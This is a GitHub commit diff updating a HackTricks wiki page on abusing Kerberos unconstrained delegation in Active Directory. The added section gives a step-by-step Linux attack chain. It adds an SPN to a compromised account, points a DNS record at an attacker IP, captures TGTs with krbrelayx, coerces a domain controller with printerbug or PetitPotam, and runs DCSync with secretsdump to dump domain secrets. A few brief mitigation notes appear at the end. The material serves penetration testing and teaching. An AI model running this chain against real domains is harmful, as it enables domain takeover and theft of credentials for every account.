Skip to content

Commit d2b6049

Browse files
authored
Merge pull request #2133 from HackTricks-wiki/research_update_src_windows-hardening_active-directory-methodology_unconstrained-delegation_20260415_135226
Research Update Enhanced src/windows-hardening/active-direct...
2 parents 61450bb + 4144320 commit d2b6049

1 file changed

Lines changed: 57 additions & 10 deletions

File tree

src/windows-hardening/active-directory-methodology/unconstrained-delegation.md

Lines changed: 57 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,51 @@ Find here other ways to **force an authentication:**
5858
printers-spooler-service-abuse.md
5959
{{#endref}}
6060

61+
Any other coercion primitive that makes the victim authenticate with **Kerberos** to your unconstrained-delegation host works too. In modern environments this often means swapping the classic PrinterBug flow for **PetitPotam**, **DFSCoerce**, **ShadowCoerce**, **MS-EVEN**, or **WebClient/WebDAV**-based coercion depending on which RPC surface is reachable.
62+
63+
### Abusing a user/service account with unconstrained delegation
64+
65+
Unconstrained delegation is **not limited to computer objects**. A **user/service account** can also be configured as `TRUSTED_FOR_DELEGATION`. In that scenario, the practical requirement is that the account must receive Kerberos service tickets for an **SPN it owns**.
66+
67+
This leads to 2 very common offensive paths:
68+
69+
1. You compromise the password/hash of the unconstrained-delegation **user account**, then **add an SPN** to that same account.
70+
2. The account already has one or more SPNs, but one of them points to a **stale/decommissioned hostname**; recreating the missing **DNS A record** is enough to hijack the authentication flow without modifying the SPN set.
71+
72+
Minimal Linux flow:
73+
74+
```bash
75+
# 1) Find unconstrained-delegation users and their SPNs
76+
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties serviceprincipalname | ? {$_.serviceprincipalname}
77+
findDelegation.py -target-domain <DOMAIN_FQDN> <DOMAIN>/<USER>:'<PASS>'
78+
79+
# 2) If needed, add a listener SPN to the compromised unconstrained user
80+
python3 addspn.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \
81+
-s 'HOST/kud-listener.<DOMAIN_FQDN>' --target-type samname <DC_IP>
82+
83+
# 3) Make the hostname resolve to your attacker box
84+
python3 dnstool.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \
85+
-r 'kud-listener.<DOMAIN_FQDN>' -a add -t A -d <ATTACKER_IP> <DC_IP>
86+
87+
# 4) Start krbrelayx with the unconstrained user's Kerberos material
88+
# For user accounts, the salt is usually UPPERCASE_REALM + samAccountName
89+
python3 krbrelayx.py --krbsalt '<DOMAIN_FQDN_UPPERCASE>svc_kud' --krbpass '<PASS>' -dc-ip <DC_IP>
90+
91+
# 5) Coerce the DC/target server to authenticate to the SPN you own
92+
python3 printerbug.py '<DOMAIN>/svc_kud:<PASS>'@<DC_FQDN> kud-listener.<DOMAIN_FQDN>
93+
# Or swap the coercion primitive for PetitPotam / DFSCoerce / Coercer if needed
94+
95+
# 6) Reuse the captured ccache for DCSync or lateral movement
96+
KRB5CCNAME=DC1\\$@<DOMAIN_FQDN>_krbtgt@<DOMAIN_FQDN>.ccache \
97+
secretsdump.py -k -no-pass -just-dc <DOMAIN_FQDN>/ -dc-ip <DC_IP>
98+
```
99+
100+
Notes:
101+
102+
- This is especially useful when the unconstrained principal is a **service account** and you only have its credentials, not code execution on a joined host.
103+
- If the target user already has a **stale SPN**, recreating the corresponding **DNS record** may be less noisy than writing a new SPN into AD.
104+
- Recent Linux-centric tradecraft uses `addspn.py`, `dnstool.py`, `krbrelayx.py`, and one coercion primitive; you do not need to touch a Windows host to complete the chain.
105+
61106
### Abusing Unconstrained Delegation with an attacker-created computer
62107

63108
Modern domains often have `MachineAccountQuota > 0` (default 10), allowing any authenticated principal to create up to N computer objects. If you also hold the `SeEnableDelegationPrivilege` token privilege (or equivalent rights), you can set the newly created computer to be trusted for unconstrained delegation and harvest inbound TGTs from privileged systems.
@@ -90,17 +135,15 @@ bloodyAD -d <DOMAIN_FQDN> -u <USER> -p '<PASS>' --host <DC_FQDN> add uac '<FAKEH
90135

91136
Why this works: with unconstrained delegation, the LSA on a delegation-enabled computer caches inbound TGTs. If you trick a DC or privileged server to authenticate to your fake host, its machine TGT will be stored and can be exported.
92137

93-
4) Start krbrelayx in export mode and prepare the machine NT hash
138+
4) Start krbrelayx in export mode and prepare the Kerberos material
94139

95140
```bash
96-
# Compute NT hash (MD4 over UTF-16LE) of the machine account password
97-
python3 - << 'PY'
98-
password = '<Strong.Passw0rd>'
99-
import hashlib
100-
print(hashlib.new('md4', password.encode('utf-16le')).hexdigest())
101-
PY
102-
# Launch krbrelayx to export any inbound TGTs
103-
python3 krbrelayx.py -hashes :<NT_HASH>
141+
# Older labs often use RC4/NT hashes, but modern domains frequently negotiate AES for machine accounts.
142+
# Prefer supplying the AES key directly, or derive it from the known password+salt if needed.
143+
python3 krbrelayx.py --aesKey <AES256_KEY> -dc-ip <DC_IP>
144+
145+
# Alternative if you know the password and correct Kerberos salt:
146+
python3 krbrelayx.py --krbpass '<Strong.Passw0rd>' --krbsalt '<CASE_SENSITIVE_SALT>' -dc-ip <DC_IP>
104147
```
105148

106149
5) Coerce authentication from the DC/servers to your fake host
@@ -140,6 +183,8 @@ Notes and requirements:
140183
- Setting `TRUSTED_FOR_DELEGATION` on a computer requires `SeEnableDelegationPrivilege` (or domain admin).
141184
- Ensure name resolution to your fake host (DNS A record) so the DC can reach it by FQDN.
142185
- Coercion requires a viable vector (PrinterBug/MS-RPRN, EFSRPC/PetitPotam, DFSCoerce, MS-EVEN, etc.). Disable these on DCs if possible.
186+
- If the victim account is marked as **"Account is sensitive and cannot be delegated"** or is a member of **Protected Users**, the forwarded TGT will not be included in the service ticket, so this chain won't yield a reusable TGT.
187+
- If **Credential Guard** is enabled on the authenticating client/server, Windows blocks **Kerberos unconstrained delegation**, which can make otherwise valid coercion paths fail from an operator perspective.
143188

144189
Detection and hardening ideas:
145190

@@ -162,5 +207,7 @@ Detection and hardening ideas:
162207
- Impacket addcomputer.py: https://github.com/fortra/impacket
163208
- BloodyAD: https://github.com/CravateRouge/bloodyAD
164209
- netexec (CME fork): https://github.com/Pennyw0rth/NetExec
210+
- Praetorian – Unconstrained Delegation in Active Directory: https://www.praetorian.com/blog/unconstrained-delegation-active-directory/
211+
- Microsoft Learn – Protected Users Security Group: https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group
165212

166-
{{#include ../../banners/hacktricks-training.md}}
213+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)